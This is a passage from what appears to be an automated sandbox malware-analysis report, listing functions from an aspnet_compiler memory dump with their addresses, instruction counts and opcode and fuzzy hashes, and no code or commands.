                                                        • Instruction Fuzzy Hash: E951C371E1024AAFDF19EF94C840BFEBBB5AF44754F058069EA05AB244D774DD44CBA0
                                                        Function 0137D26B Relevance: .2, Instructions: 153COMMON
                                                        Download Yara Rule
                                                        Memory Dump Source
                                                        • Source File: 0000000C.00000002.2883784931.0000000001280000.00000040.00001000.00020000.00000000.sdmp, Offset: 01280000, based on PE: true
                                                        Joe Sandbox IDA Plugin
                                                        • Snapshot File: hcaresult_12_2_1280000_aspnet_compiler.jbxd
                                                        Similarity
                                                        • API ID:
                                                        • String ID:
                                                        • API String ID:
                                                        • Opcode ID: e34a641792a2e79be6bf0067dfbea21fe876c0422c27924c31e583a14ba6783b
                                                        • Instruction ID: c083672680920f6dfdb30b66a784c69b72901a1cfb2ac2e34ecf90411e00100e
                                                        • Opcode Fuzzy Hash: e34a641792a2e79be6bf0067dfbea21fe876c0422c27924c31e583a14ba6783b
                                                        • Instruction Fuzzy Hash: 2B515E726083469FD721CF68C880B9ABBE9FFC8358F04892DF99597244D738E945CB52
                                                        Function 012B51ED Relevance: .1, Instructions: 149COMMON
                                                        Download Yara Rule
                                                        Memory Dump Source
                                                        • Source File: 0000000C.00000002.2883784931.0000000001280000.00000040.00001000.00020000.00000000.sdmp, Offset: 01280000, based on PE: true
                                                        Joe Sandbox IDA Plugin
                                                        • Snapshot File: hcaresult_12_2_1280000_aspnet_compiler.jbxd
                                                        Similarity
                                                        • API ID:
                                                        • String ID:
                                                        • API String ID:
                                                        • Opcode ID: cd6790cd67d5bcd3b8c47ca9542d61c5f74dc224e70376b743e484325b1a70d0
                                                        • Instruction ID: 2d47c5744485686f7d4cfff5ca828aea97c309a5bb803c098f568b475c32e125
                                                        • Opcode Fuzzy Hash: cd6790cd67d5bcd3b8c47ca9542d61c5f74dc224e70376b743e484325b1a70d0
                                                        • Instruction Fuzzy Hash: D051A071A22216DFEF26DBA8C881BEDB7B4BF14798F044019E551EB351D7B4A840CB50
                                                        Function 013835D7 Relevance: .1, Instructions: 139COMMON
                                                        Download Yara Rule
                                                        Memory Dump Source
                                                        • Source File: 0000000C.00000002.2883784931.0000000001280000.00000040.00001000.00020000.00000000.sdmp, Offset: 01280000, based on PE: true
                                                        Joe Sandbox IDA Plugin
                                                        • Snapshot File: hcaresult_12_2_1280000_aspnet_compiler.jbxd
                                                        Similarity
                                                        • API ID:
                                                        • String ID:
                                                        • API String ID:
                                                        • Opcode ID: b2c300d7f86a03933703e09635872856e70952263eb4647515a482bdea46eec2
                                                        • Instruction ID: 8413add3538e0bd3e75361bd8329f16e1e381f4b516a7633fe22e242a607afeb
                                                        • Opcode Fuzzy Hash: b2c300d7f86a03933703e09635872856e70952263eb4647515a482bdea46eec2
                                                        • Instruction Fuzzy Hash: A4517C71200606EFCB16DF18C580A66FBB9FF45718F15C1AAE9089F322E371E945CB90
                                                        Function 012EA430 Relevance: .1, Instructions: 139COMMON
                                                        Download Yara Rule
                                                        Memory Dump Source
                                                        • Source File: 0000000C.00000002.2883784931.0000000001280000.00000040.00001000.00020000.00000000.sdmp, Offset: 01280000, based on PE: true
                                                        Joe Sandbox IDA Plugin
                                                        • Snapshot File: hcaresult_12_2_1280000_aspnet_compiler.jbxd
                                                        Similarity
                                                        • API ID:
                                                        • String ID:
                                                        • API String ID:
                                                        • Opcode ID: e01241bbd820abb5552cf6cd64f1dd3fa70dd5106f7b87ec9013653dad217a07
                                                        • Instruction ID: 8cee271ea4815ac17c55924ecc2963c88a0a65f16c5a66861e6875961e325f8d
                                                        • Opcode Fuzzy Hash: e01241bbd820abb5552cf6cd64f1dd3fa70dd5106f7b87ec9013653dad217a07
                                                        • Instruction Fuzzy Hash: 7F41FD71660216DBDB39EF68A886B7A77A9EF9571CFC1002CFE06AB241D7B19810C750
                                                        Function 012E01F8 Relevance: .1, Instructions: 138COMMON
                                                        Download Yara Rule
                                                        Memory Dump Source
                                                        • Source File: 0000000C.00000002.2883784931.0000000001280000.00000040.00001000.00020000.00000000.sdmp, Offset: 01280000, based on PE: true
                                                        Joe Sandbox IDA Plugin
                                                        • Snapshot File: hcaresult_12_2_1280000_aspnet_compiler.jbxd
                                                        Similarity
                                                        • API ID:
                                                        • String ID:
                                                        • API String ID:
                                                        • Opcode ID: 32cf24da96ab7c506aa7a4e93d33268ea84218fe9a7bfe4e13df8220e3aab293
                                                        • Instruction ID: 228eab790578e076974bccb9b80d9e27232c749f0f63603775f64038722018dc
                                                        • Opcode Fuzzy Hash: 32cf24da96ab7c506aa7a4e93d33268ea84218fe9a7bfe4e13df8220e3aab293
                                                        • Instruction Fuzzy Hash: 2D41DC32A2121ADBDB15DF98C444AEEBBF4BF48704F54812AF915F7240D7B49C42CBA8
                                                        Function 012BD534 Relevance: .1, Instructions: 138COMMON
                                                        Download Yara Rule
                                                        Memory Dump Source
                                                        • Source File: 0000000C.00000002.2883784931.0000000001280000.00000040.00001000.00020000.00000000.sdmp, Offset: 01280000, based on PE: true
                                                        Joe Sandbox IDA Plugin
                                                        • Snapshot File: hcaresult_12_2_1280000_aspnet_compiler.jbxd
                                                        Similarity
                                                        • API ID:
                                                        • String ID:
                                                        • API String ID:
                                                        • Opcode ID: fc0d82cd83b2019e830f208d360b08f3798ca9daebcd344b38d0899e9e51c083
                                                        • Instruction ID: cff895c796568b8baacd1fdde60b02974d4648b8b4a7dd2c36d133fb8612702c
                                                        • Opcode Fuzzy Hash: fc0d82cd83b2019e830f208d360b08f3798ca9daebcd344b38d0899e9e51c083
                                                        • Instruction Fuzzy Hash: 86510F32624685CFD726CB5CD480FAA77E5FB84BA8F0904A4F9418B795D734DC44CB62
                                                        Function 0132D1C0 Relevance: .1, Instructions: 135COMMON
                                                        Download Yara Rule
                                                        Memory Dump Source
                                                        • Source File: 0000000C.00000002.2883784931.0000000001280000.00000040.00001000.00020000.00000000.sdmp, Offset: 01280000, based on PE: true
                                                        Joe Sandbox IDA Plugin
                                                        • Snapshot File: hcaresult_12_2_1280000_aspnet_compiler.jbxd
                                                        Similarity
                                                        • API ID:
                                                        • String ID:
                                                        • API String ID:
                                                        • Opcode ID: 0eb649ebbf3548d8df43d0789ceff5cfbc550e3c64e1c06ae1f98d8f26ebe946
                                                        • Instruction ID: 4dc9b1417fc84d4fab8540ab251a1da2e4de0c78973e5e4f147c079af039290f
                                                        • Opcode Fuzzy Hash: 0eb649ebbf3548d8df43d0789ceff5cfbc550e3c64e1c06ae1f98d8f26ebe946
                                                        • Instruction Fuzzy Hash: 09511771A00216DFDB18CFA8D4816AABBF1FF48314B14856ED819E7745E734EA80CF90
                                                        Function 012B6154 Relevance: .1, Instructions: 133COMMON
                                                        Download Yara Rule
                                                        Memory Dump Source
                                                        • Source File: 0000000C.00000002.2883784931.0000000001280000.00000040.00001000.00020000.00000000.sdmp, Offset: 01280000, based on PE: true
                                                        Joe Sandbox IDA Plugin
                                                        • Snapshot File: hcaresult_12_2_1280000_aspnet_compiler.jbxd
                                                        Similarity
                                                        • API ID:
                                                        • String ID:
                                                        • API String ID:
                                                        • Opcode ID: ea1769bb55207230c6fe0bee846865b88776ec1b892713a23d13d463031493e1
                                                        • Instruction ID: 38b4af4ea46ebe92c6650dd25f75833a7439c850181b0d36911fae07f534f6e1
                                                        • Opcode Fuzzy Hash: ea1769bb55207230c6fe0bee846865b88776ec1b892713a23d13d463031493e1
                                                        • Instruction Fuzzy Hash: 8A5106B0920217DBEB29CB28CC41BF8BBB5FF15358F1482A9D625972D5DB749981CF40
                                                        Function 012AB136 Relevance: .1, Instructions: 131COMMON
                                                        Download Yara Rule
                                                        Memory Dump Source
                                                        • Source File: 0000000C.00000002.2883784931.0000000001280000.00000040.00001000.00020000.00000000.sdmp, Offset: 01280000, based on PE: true
                                                        Joe Sandbox IDA Plugin
                                                        • Snapshot File: hcaresult_12_2_1280000_aspnet_compiler.jbxd
                                                        Similarity
                                                        • API ID:
                                                        • String ID:
                                                        • API String ID:
                                                        • Opcode ID: e93c9748e403c0da5a4345a6b99e0eeb6a8c309945d4fd360b409120dfd77bfa
                                                        • Instruction ID: 1051a5aa3f6de25d7638e86a25ba77818f39ad19a9cb3e7b3f96299d56b59ab3
                                                        • Opcode Fuzzy Hash: e93c9748e403c0da5a4345a6b99e0eeb6a8c309945d4fd360b409120dfd77bfa
                                                        • Instruction Fuzzy Hash: BE41E2B1660202EFDB22EF68C855B2ABBE8FF10794F804569E615DB290D770DC50CB90
                                                        Function 012DA470 Relevance: .1, Instructions: 127COMMON
                                                        Download Yara Rule
                                                        Memory Dump Source
                                                        • Source File: 0000000C.00000002.2883784931.0000000001280000.00000040.00001000.00020000.00000000.sdmp, Offset: 01280000, based on PE: true
                                                        Joe Sandbox IDA Plugin
                                                        • Snapshot File: hcaresult_12_2_1280000_aspnet_compiler.jbxd
                                                        Similarity
                                                        • API ID:
                                                        • String ID:
                                                        • API String ID:
                                                        • Opcode ID: 4103d4a9b2d59f4ff3d99d089e83d7253b294e018a05df75b8efd919859babab
                                                        • Instruction ID: 26a1a2191b7e983c952afd05f08b48de1e7e7ac03042a0ebcea560cea04550b5
                                                        • Opcode Fuzzy Hash: 4103d4a9b2d59f4ff3d99d089e83d7253b294e018a05df75b8efd919859babab
                                                        • Instruction Fuzzy Hash: 1A411332964205CFDB25CF68E884BED7BB8FB14314F9801A9D511AB284DB75D904CBA0
                                                        Function 012AA020 Relevance: .1, Instructions: 122COMMON
                                                        Download Yara Rule
                                                        Memory Dump Source
                                                        • Source File: 0000000C.00000002.2883784931.0000000001280000.00000040.00001000.00020000.00000000.sdmp, Offset: 01280000, based on PE: true
                                                        Joe Sandbox IDA Plugin
                                                        • Snapshot File: hcaresult_12_2_1280000_aspnet_compiler.jbxd
                                                        Similarity
                                                        • API ID:
                                                        • String ID:
                                                        • API String ID:
                                                        • Opcode ID: 165ca662f4b1c8196e57a2c4173bd848e06efaa623a98917432a96e6c9651090
                                                        • Instruction ID: ab2d8b8007576dd73a6e3aae213b69ae094ff4a95e1b95fb6dc3eda5eb98bce4
                                                        • Opcode Fuzzy Hash: 165ca662f4b1c8196e57a2c4173bd848e06efaa623a98917432a96e6c9651090
                                                        • Instruction Fuzzy Hash: 82419F35A10212DFDB22DE1C8450BBAFBF1EF50758F95806EEA418B284D7739D44CB90
                                                        Function 013305A7 Relevance: .1, Instructions: 111COMMON
                                                        Download Yara Rule
                                                        Memory Dump Source
                                                        • Source File: 0000000C.00000002.2883784931.0000000001280000.00000040.00001000.00020000.00000000.sdmp, Offset: 01280000, based on PE: true
                                                        Joe Sandbox IDA Plugin
                                                        • Snapshot File: hcaresult_12_2_1280000_aspnet_compiler.jbxd
                                                        Similarity
                                                        • API ID:
                                                        • String ID:
                                                        • API String ID:
                                                        • Opcode ID: 47371c5deb4c88f67dee5a464baa2362e1432e0f3c93498477d796b59d983a34
                                                        • Instruction ID: 0e4ef0e391034bea3a00b2efe68e9976c0f694028f686cf1c571198e4da7f989
                                                        • Opcode Fuzzy Hash: 47371c5deb4c88f67dee5a464baa2362e1432e0f3c93498477d796b59d983a34
                                                        • Instruction Fuzzy Hash: 4C41A2726046469FD324DF6CC880A7AB7E9FFC8714F144A2DF99497690E730E904C7AA
                                                        Function 012C02E1 Relevance: .1, Instructions: 106COMMON
                                                        Download Yara Rule
                                                        Memory Dump Source
                                                        • Source File: 0000000C.00000002.2883784931.0000000001280000.00000040.00001000.00020000.00000000.sdmp, Offset: 01280000, based on PE: true
                                                        Joe Sandbox IDA Plugin
                                                        • Snapshot File: hcaresult_12_2_1280000_aspnet_compiler.jbxd
                                                        Similarity
                                                        • API ID:
                                                        • String ID:
                                                        • API String ID:
                                                        • Opcode ID: d45b632d2c88e3b1d2b0a33d4d0818ae25320c4cce4feeb98528bfb7bef810ab
                                                        • Instruction ID: a4b170c60704a72239da5173a9ca0735e07291c812147d229456d944fdb34711
                                                        • Opcode Fuzzy Hash: d45b632d2c88e3b1d2b0a33d4d0818ae25320c4cce4feeb98528bfb7bef810ab
                                                        • Instruction Fuzzy Hash: 86311331A24245EBDB128B6CCC84BEABFE8AF14750F0442A9F955D7352C7B4D884CBA4
                                                        Function 012D9274 Relevance: .1, Instructions: 105COMMON
                                                        Download Yara Rule
                                                        Memory Dump Source
                                                        • Source File: 0000000C.00000002.2883784931.0000000001280000.00000040.00001000.00020000.00000000.sdmp, Offset: 01280000, based on PE: true
                                                        Joe Sandbox IDA Plugin
                                                        • Snapshot File: hcaresult_12_2_1280000_aspnet_compiler.jbxd
                                                        Similarity
                                                        • API ID:
                                                        • String ID:
                                                        • API String ID:
                                                        • Opcode ID: 57359466b29dd841eff0effabe9928e6ab8b60f16de928f39f21ca4a9f711398
                                                        • Instruction ID: 1d2e1030cdf114d7131c15e51d734f0d6a6ac24a6cc0158c56051b057d8990b6
                                                        • Opcode Fuzzy Hash: 57359466b29dd841eff0effabe9928e6ab8b60f16de928f39f21ca4a9f711398
                                                        • Instruction Fuzzy Hash: 6731B771A10329AFDF25DB68CC40BAABBB5EF86714F410199F64CA7280DB309D85CF51
                                                        Function 012B4260 Relevance: .1, Instructions: 102COMMON
                                                        Download Yara Rule
                                                        Memory Dump Source
                                                        • Source File: 0000000C.00000002.2883784931.0000000001280000.00000040.00001000.00020000.00000000.sdmp, Offset: 01280000, based on PE: true
                                                        Joe Sandbox IDA Plugin
                                                        • Snapshot File: hcaresult_12_2_1280000_aspnet_compiler.jbxd
                                                        Similarity
                                                        • API ID:
                                                        • String ID:
                                                        • API String ID:
                                                        • Opcode ID: 9441c8b90d167ec80bab8ce89af5163512b8f83063599f5af7c6a9006509d942
                                                        • Instruction ID: e3eb9123712a18442ae150ab95bf9f582811a38d47cd807c7a0da3367e4685fb
                                                        • Opcode Fuzzy Hash: 9441c8b90d167ec80bab8ce89af5163512b8f83063599f5af7c6a9006509d942
                                                        • Instruction Fuzzy Hash: 4041CE31210B45DFC72ADF28C8C1FE67BE8AF55358F14842DEA9A8B291C770E841CB50
                                                        Function 012D50E4 Relevance: .1, Instructions: 101COMMON
                                                        Download Yara Rule
                                                        Memory Dump Source
                                                        • Source File: 0000000C.00000002.2883784931.0000000001280000.00000040.00001000.00020000.00000000.sdmp, Offset: 01280000, based on PE: true
                                                        Joe Sandbox IDA Plugin
                                                        • Snapshot File: hcaresult_12_2_1280000_aspnet_compiler.jbxd
                                                        Similarity
                                                        • API ID:
                                                        • String ID:
                                                        • API String ID:
                                                        • Opcode ID: 9736ef1e2d2fe6ed3e8edd6ff05ccc53a0216fb05e956db353e68a80ecb75403
                                                        • Instruction ID: b6f9d4977c8eb8bcdbe0a122e9efdebcd4bbbbf271e3397e57de398d0c599848
                                                        • Opcode Fuzzy Hash: 9736ef1e2d2fe6ed3e8edd6ff05ccc53a0216fb05e956db353e68a80ecb75403
                                                        • Instruction Fuzzy Hash: E831C6317283829BE721DA3CC800767BBF5AB85794F488529F6958B395D2F4C841C792
                                                        Function 013761C3 Relevance: .1, Instructions: 97COMMON
                                                        Download Yara Rule
                                                        Memory Dump Source
                                                        • Source File: 0000000C.00000002.2883784931.0000000001280000.00000040.00001000.00020000.00000000.sdmp, Offset: 01280000, based on PE: true
                                                        Joe Sandbox IDA Plugin
                                                        • Snapshot File: hcaresult_12_2_1280000_aspnet_compiler.jbxd
                                                        Similarity
                                                        • API ID:
                                                        • String ID:
                                                        • API String ID:
                                                        • Opcode ID: b50c366f6c0e1514d7eec30378cae1c94ecbed196a2b93e3d253798b4603cf38
                                                        • Instruction ID: 1411e86f38c6c3d07b34bed94edad688bb7d4f124ede1bbdc40dc653042a0ba7
                                                        • Opcode Fuzzy Hash: b50c366f6c0e1514d7eec30378cae1c94ecbed196a2b93e3d253798b4603cf38
                                                        • Instruction Fuzzy Hash: 19310675A0055AABEB25DF98CC51FBEB7B5FB44B44F414168E500EB244D774ED00CBA4
                                                        Function 013760B8 Relevance: .1, Instructions: 95COMMON
                                                        Download Yara Rule
                                                        Memory Dump Source
                                                        • Source File: 0000000C.00000002.2883784931.0000000001280000.00000040.00001000.00020000.00000000.sdmp, Offset: 01280000, based on PE: true
                                                        Joe Sandbox IDA Plugin
                                                        • Snapshot File: hcaresult_12_2_1280000_aspnet_compiler.jbxd
                                                        Similarity
                                                        • API ID:
                                                        • String ID:
                                                        • API String ID:
                                                        • Opcode ID: 689225b93ddd93aa7e0b66abb3dcfe580d870f7bdaa1fa1360ebefe66e2bb79f
                                                        • Instruction ID: 4c31a39ee33880ecdca9dd359c67c1b9c92ac0a4baa08642deec25814ba5839f
                                                        • Opcode Fuzzy Hash: 689225b93ddd93aa7e0b66abb3dcfe580d870f7bdaa1fa1360ebefe66e2bb79f
                                                        • Instruction Fuzzy Hash: 6C31B6B1700A06EFE7229F69DC61B6AB7B9EF44758F04406DE505EB342DA74DD008B90
                                                        Function 012B8550 Relevance: .1, Instructions: 94COMMON
                                                        Download Yara Rule
                                                        Memory Dump Source
                                                        • Source File: 0000000C.00000002.2883784931.0000000001280000.00000040.00001000.00020000.00000000.sdmp, Offset: 01280000, based on PE: true
                                                        Joe Sandbox IDA Plugin
                                                        • Snapshot File: hcaresult_12_2_1280000_aspnet_compiler.jbxd
                                                        Similarity
                                                        • API ID:
                                                        • String ID:
                                                        • API String ID:
                                                        • Opcode ID: 670c035b99944537c15ff74d18641f76f8580922ee64c74c32db0dc64f712b65
                                                        • Instruction ID: 9118dc3642ad0113bf977a9f216511d23286a48d97a5394220d8ef754856ea47
                                                        • Opcode Fuzzy Hash: 670c035b99944537c15ff74d18641f76f8580922ee64c74c32db0dc64f712b65
                                                        • Instruction Fuzzy Hash: 8C31CEB16193028FE324CF19C880B6BBBE9FB88744F154A6DFA9897354D370E844CB91
                                                        Function 01307190 Relevance: .1, Instructions: 89COMMON
                                                        Download Yara Rule
                                                        Memory Dump Source
                                                        • Source File: 0000000C.00000002.2883784931.0000000001280000.00000040.00001000.00020000.00000000.sdmp, Offset: 01280000, based on PE: true
                                                        Joe Sandbox IDA Plugin
                                                        • Snapshot File: hcaresult_12_2_1280000_aspnet_compiler.jbxd
                                                        Similarity
                                                        • API ID:
                                                        • String ID:
                                                        • API String ID:
                                                        • Opcode ID: 3d9f232daa6456112ef7cca9ac13d1ecc1d2608bc40d33be58fee952b0e99bbe
                                                        • Instruction ID: 3e10a658142536b8592f7c8d3c49187e2e750ab6227750847a8b656c855fa593
                                                        • Opcode Fuzzy Hash: 3d9f232daa6456112ef7cca9ac13d1ecc1d2608bc40d33be58fee952b0e99bbe
                                                        • Instruction Fuzzy Hash: ED316975604206CFC711CF1CC490956BBF6FF89314B2586A9EA989B395E730FD06CB91
                                                        Function 012D438F Relevance: .1, Instructions: 89COMMON
                                                        Download Yara Rule
                                                        Memory Dump Source
                                                        • Source File: 0000000C.00000002.2883784931.0000000001280000.00000040.00001000.00020000.00000000.sdmp, Offset: 01280000, based on PE: true
                                                        Joe Sandbox IDA Plugin
                                                        • Snapshot File: hcaresult_12_2_1280000_aspnet_compiler.jbxd
                                                        Similarity
                                                        • API ID:
                                                        • String ID:
                                                        • API String ID:
                                                        • Opcode ID: 0d50d12bcfa57e7e513482e0358718fa9be561f1b3593e6c2dbb2f9fe4b01b0f
                                                        • Instruction ID: db3eaa248f80ea6e49ded7b552a93e578d2132628aa7c4f9d2e35de95581ac92
                                                        • Opcode Fuzzy Hash: 0d50d12bcfa57e7e513482e0358718fa9be561f1b3593e6c2dbb2f9fe4b01b0f
                                                        • Instruction Fuzzy Hash: BE31F771B202869FDB24EFB8C981A6EBBF9FF94704F008529D605D7A54D730E981CB90
                                                        Function 012B92C5 Relevance: .1, Instructions: 89COMMON
                                                        Download Yara Rule
                                                        Memory Dump Source
                                                        • Source File: 0000000C.00000002.2883784931.0000000001280000.00000040.00001000.00020000.00000000.sdmp, Offset: 01280000, based on PE: true
                                                        Joe Sandbox IDA Plugin
                                                        • Snapshot File: hcaresult_12_2_1280000_aspnet_compiler.jbxd
                                                        Similarity
                                                        • API ID:
                                                        • String ID:
                                                        • API String ID:
                                                        • Opcode ID: 2963604b138b45d82781e0a3e479f75d70978de019cd50ff7a7906112cbdd64f
                                                        • Instruction ID: 8f3850c809cdb94dae74540f4ee1f55519bf13e3bca30842a7e8c6f3e690f0d4
                                                        • Opcode Fuzzy Hash: 2963604b138b45d82781e0a3e479f75d70978de019cd50ff7a7906112cbdd64f
                                                        • Instruction Fuzzy Hash: BA31BAB161820A8FCB05DF18D880AABBBE9FF99354F000969FD40973A0D731DC00CBA2
                                                        Function 012AC156 Relevance: .1, Instructions: 88COMMON
                                                        Download Yara Rule
                                                        Memory Dump Source
                                                        • Source File: 0000000C.00000002.2883784931.0000000001280000.00000040.00001000.00020000.00000000.sdmp, Offset: 01280000, based on PE: true
                                                        Joe Sandbox IDA Plugin
                                                        • Snapshot File: hcaresult_12_2_1280000_aspnet_compiler.jbxd
                                                        Similarity
                                                        • API ID:
                                                        • String ID:
                                                        • API String ID:
                                                        • Opcode ID: 89c3a425a62ef44d0315098e6f3161efb3dddb0f96266eafef1dfc751ba28610
                                                        • Instruction ID: 1bb9aaecad93ce948156e35f7ec08110a7ab03014a43c846f708034c73f31c66
                                                        • Opcode Fuzzy Hash: 89c3a425a62ef44d0315098e6f3161efb3dddb0f96266eafef1dfc751ba28610
                                                        • Instruction Fuzzy Hash: 6B3129B15003018BD722AF98CC51BB977F4EF51718F948169E9459B382DE749985CB90
                                                        Function 0136C3CD Relevance: .1, Instructions: 88COMMON
                                                        Download Yara Rule
                                                        Memory Dump Source
                                                        • Source File: 0000000C.00000002.2883784931.0000000001280000.00000040.00001000.00020000.00000000.sdmp, Offset: 01280000, based on PE: true
                                                        Joe Sandbox IDA Plugin
                                                        • Snapshot File: hcaresult_12_2_1280000_aspnet_compiler.jbxd
                                                        Similarity
                                                        • API ID:
                                                        • String ID:
                                                        • API String ID:
                                                        • Opcode ID: 7f3ac7f511b12b6545c220c591282cbbe50732f4b841637f95eeaa606406b8f4
                                                        • Instruction ID: 39bae03d0d247e06091eb32a7905f7e65b67158bbbf287916f811216e156ba75
                                                        • Opcode Fuzzy Hash: 7f3ac7f511b12b6545c220c591282cbbe50732f4b841637f95eeaa606406b8f4
                                                        • Instruction Fuzzy Hash: 22213D36600652B7CB17EBA98C00ABBFBB8EF80754F40D41EFAE597691E634D950C360
                                                        Function 012AE420 Relevance: .1, Instructions: 88COMMON
                                                        Download Yara Rule
                                                        Memory Dump Source
                                                        • Source File: 0000000C.00000002.2883784931.0000000001280000.00000040.00001000.00020000.00000000.sdmp, Offset: 01280000, based on PE: true
                                                        Joe Sandbox IDA Plugin
                                                        • Snapshot File: hcaresult_12_2_1280000_aspnet_compiler.jbxd
                                                        Similarity
                                                        • API ID:
                                                        • String ID:
                                                        • API String ID:
                                                        • Opcode ID: ca47ea39705649010c1bda815cf521bbb0fae5dffd6cbcfa6b6e53c2f4fa19ec
                                                        • Instruction ID: dff231265203bfb0fd9e2283523edba17721ef040fb9fc18447336f0520d9d83
                                                        • Opcode Fuzzy Hash: ca47ea39705649010c1bda815cf521bbb0fae5dffd6cbcfa6b6e53c2f4fa19ec
                                                        • Instruction Fuzzy Hash: 17310531A6052D9BDB31DF18DC41FEEB7BDEB15740F4201A5E745A7290D6B0AE818FA0
                                                        Function 012E4588 Relevance: .1, Instructions: 87COMMON
                                                        Download Yara Rule
                                                        Memory Dump Source
                                                        • Source File: 0000000C.00000002.2883784931.0000000001280000.00000040.00001000.00020000.00000000.sdmp, Offset: 01280000, based on PE: true
                                                        Joe Sandbox IDA Plugin
                                                        • Snapshot File: hcaresult_12_2_1280000_aspnet_compiler.jbxd
                                                        Similarity
                                                        • API ID:
                                                        • String ID:
                                                        • API String ID:
                                                        • Opcode ID: 889ecffd1a06a090bd79871a4c0fdf01ee42b751b4f666e31dccfc06bb2b9632
                                                        • Instruction ID: f6f239431cfefbda6f5ff5e386118e7cc460f1922a9ad93708892a9162fc2015
                                                        • Opcode Fuzzy Hash: 889ecffd1a06a090bd79871a4c0fdf01ee42b751b4f666e31dccfc06bb2b9632
                                                        • Instruction Fuzzy Hash: A921BF32A10649EFCB10DF58C984A9EBBF9FF48310F508469EF19DB241D674EA018F90
                                                        Function 012AE388 Relevance: .1, Instructions: 86COMMON
                                                        Download Yara Rule
                                                        Memory Dump Source
                                                        • Source File: 0000000C.00000002.2883784931.0000000001280000.00000040.00001000.00020000.00000000.sdmp, Offset: 01280000, based on PE: true
                                                        Joe Sandbox IDA Plugin
                                                        • Snapshot File: hcaresult_12_2_1280000_aspnet_compiler.jbxd
                                                        Similarity
                                                        • API ID:
                                                        • String ID:
                                                        • API String ID:
                                                        • Opcode ID: 0cf2ef89ce765565c41e30a718174bbd4c2b265194fcbe27392bd3351cdfdb09
                                                        • Instruction ID: 7ff6970751e5d740ba614e1c0a86ee3d14fe522794f4dbaeeb9d366a269b298d
                                                        • Opcode Fuzzy Hash: 0cf2ef89ce765565c41e30a718174bbd4c2b265194fcbe27392bd3351cdfdb09
                                                        • Instruction Fuzzy Hash: 1431AB31610605EFD721CFA8C994F6AB7F9FF45354F1145A9E6128B280E770EE02CB50
                                                        Function 012ED530 Relevance: .1, Instructions: 85COMMON
                                                        Download Yara Rule
                                                        Memory Dump Source
                                                        • Source File: 0000000C.00000002.2883784931.0000000001280000.00000040.00001000.00020000.00000000.sdmp, Offset: 01280000, based on PE: true
                                                        Joe Sandbox IDA Plugin
                                                        • Snapshot File: hcaresult_12_2_1280000_aspnet_compiler.jbxd
                                                        Similarity
                                                        • API ID:
                                                        • String ID:
                                                        • API String ID:
                                                        • Opcode ID: 8441e50db395529b4f90f580cf47fa75fe0796d2f304aa2999e713d81ea10c0b
                                                        • Instruction ID: fc29040b74d58d0f228cf5156481fe4f15c42fb123a2e179bf606a5a80fbdd34
                                                        • Opcode Fuzzy Hash: 8441e50db395529b4f90f580cf47fa75fe0796d2f304aa2999e713d81ea10c0b
                                                        • Instruction Fuzzy Hash: ED2127B15243159BC720FB68D905F6B7BECEB64A58F840929FB44D7290EB30D808CBA1
                                                        Function 012DF32A Relevance: .1, Instructions: 79COMMON
                                                        Download Yara Rule
                                                        Memory Dump Source
                                                        • Source File: 0000000C.00000002.2883784931.0000000001280000.00000040.00001000.00020000.00000000.sdmp, Offset: 01280000, based on PE: true
                                                        Joe Sandbox IDA Plugin
                                                        • Snapshot File: hcaresult_12_2_1280000_aspnet_compiler.jbxd
                                                        Similarity
                                                        • API ID:
                                                        • String ID:
                                                        • API String ID:
                                                        • Opcode ID: e1acee25a86a18db778833508db53c8429f7f2c8d9f42c0ea70f9f679245ea3d
                                                        • Instruction ID: 74573585ebdd6ab4d694d95ebbe217bbc7bfe998ae288fd06922b31af960409e
                                                        • Opcode Fuzzy Hash: e1acee25a86a18db778833508db53c8429f7f2c8d9f42c0ea70f9f679245ea3d
                                                        • Instruction Fuzzy Hash: 2A21D4722202019FC719DF19C541B66BBE9EF85360F15416DE2078B390EBB0EC02CB98
                                                        Function 0133019F Relevance: .1, Instructions: 78COMMON
                                                        Download Yara Rule
                                                        Memory Dump Source
                                                        • Source File: 0000000C.00000002.2883784931.0000000001280000.00000040.00001000.00020000.00000000.sdmp, Offset: 01280000, based on PE: true
                                                        Joe Sandbox IDA Plugin
                                                        • Snapshot File: hcaresult_12_2_1280000_aspnet_compiler.jbxd
                                                        Similarity
                                                        • API ID:
                                                        • String ID:
                                                        • API String ID:
                                                        • Opcode ID: ca975775fbb83decc3d641397921621ee209d974e3bc05bae1277f8af6ceab6c
                                                        • Instruction ID: a0887fbe74854ced02c20daf839fbea39723af9ee4d611ecf2a73f36788c60f0
                                                        • Opcode Fuzzy Hash: ca975775fbb83decc3d641397921621ee209d974e3bc05bae1277f8af6ceab6c
                                                        • Instruction Fuzzy Hash: 0121AC71A10645AFD715DBACC840F6AB7B8FF88B44F144169FA04DB7A1D634ED40CBA8
                                                        Function 013571F9 Relevance: .1, Instructions: 74COMMON
                                                        Download Yara Rule
                                                        Memory Dump Source
                                                        • Source File: 0000000C.00000002.2883784931.0000000001280000.00000040.00001000.00020000.00000000.sdmp, Offset: 01280000, based on PE: true
                                                        Joe Sandbox IDA Plugin
                                                        • Snapshot File: hcaresult_12_2_1280000_aspnet_compiler.jbxd
                                                        Similarity
                                                        • API ID:
                                                        • String ID:
                                                        • API String ID:
                                                        • Opcode ID: f9049a6808e7cf99d8fbd3fdc6222434a50aa44675459f0941ec472fb49ca564
                                                        • Instruction ID: a1f0105d9764eeda790b3bfabf9be510101c59cb84635652e34b91c9d1c7e2d6
                                                        • Opcode Fuzzy Hash: f9049a6808e7cf99d8fbd3fdc6222434a50aa44675459f0941ec472fb49ca564
                                                        • Instruction Fuzzy Hash: 63214530A047418BC321DF298880F2BB7ECEFD5BACF54492CFCAA83140CB70A8458791
                                                        Function 01330283 Relevance: .1, Instructions: 74COMMON
                                                        Download Yara Rule
                                                        Memory Dump Source
                                                        • Source File: 0000000C.00000002.2883784931.0000000001280000.00000040.00001000.00020000.00000000.sdmp, Offset: 01280000, based on PE: true
                                                        Joe Sandbox IDA Plugin
                                                        • Snapshot File: hcaresult_12_2_1280000_aspnet_compiler.jbxd
                                                        Similarity
                                                        • API ID:
                                                        • String ID:
                                                        • API String ID:
                                                        • Opcode ID: 9d12d5ac38d85ab78d3443bd5827dbb05ca333953139bed481dca26978847d81
                                                        • Instruction ID: d2eed4bfeb1e0149304e41e51b4c938a80f5392af6fef3e922c170e138478495
                                                        • Opcode Fuzzy Hash: 9d12d5ac38d85ab78d3443bd5827dbb05ca333953139bed481dca26978847d81
                                                        • Instruction Fuzzy Hash: 712100729043469BD316EFA9C844BABBBDCAFD0658F08495ABE80C7251D730C904C7AA
                                                        Function 0132D0C0 Relevance: .1, Instructions: 73COMMON
                                                        Download Yara Rule
